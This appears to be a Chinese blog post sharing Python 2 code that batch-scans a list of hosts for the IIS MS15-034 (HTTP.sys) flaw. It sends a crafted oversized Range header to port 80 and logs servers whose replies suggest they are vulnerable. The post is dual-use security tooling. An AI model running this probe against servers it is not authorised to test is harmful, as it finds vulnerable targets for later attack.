【Python】实现漏洞扫描器之MS15-034漏洞批量扫描+源码分析

    ms15-034漏洞

影响以下版本操作系统的IIS服务器

Windows 7

Windows 8

Windows server 2008

Windows server 2012

知道其严重性后,在扫描器插件加上这一模块

利用代码如下  需要导入socket模块  

其中f2是打开一个文件逐行阅读

f3.write写入本地 代码我从我的扫描器测试版直接截取过来的 不过并不影响阅读


def MS15034():
    print '-----------------------------------------------------------'
    print '----------------------MS15-034 Scan------------------------'
    print '-----------------------------------------------------------'
    ipAddr = url
    hexAllFfff = "18446744073709551615"
    req1 = "GET / HTTP/1.0\r\n\r\n"   #开始配置好相关发送请求
    req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"

    try:
                    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   #建立一个客户端用来接受信息
                    client_socket.connect((ipAddr, 80))  #连接到目标主机的80端口
                    client_socket.send(req1)    #发送数据
                    boringResp = client_socket.recv(1024)   #接受的数据
                    if "Microsoft" not in boringResp:    #判断是否是iis服务器
                                    print "[*]IS Not IIS SERVER"
                    client_socket.close()
                    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  #如上
                    client_socket.connect((ipAddr, 80))
                    client_socket.send(req)
                    goodResp = client_socket.recv(1024)
                    if "Requested Range Not Satisfiable" in goodResp:  #判断是否存在漏洞
                                    print unicode("[+]发现主机可能存在MS15-034漏洞",'gbk')
                                    f3.write(ipAddr + '        ' + 'MS15-034' )
                    elif " The request has an invalid header name" in goodResp:
                                    print '[+]pass..........'
                    else:
                                    print '[+]pass..........'
                                    pass

                                    
    except Exception,e:
                    print e
 
for ms15 in f2:
    url = ms15.strip('\n')
    url=str(url.strip())
    url = url.split('//',2)[1]   #将http://  去掉 
    host = socket.gethostbyname(url)  #得到ip地址
    MS15034()
    print unicode('MS15-034扫描完毕!','gbk')
    time.sleep(2)



你可能感兴趣的:(Python,原创作品)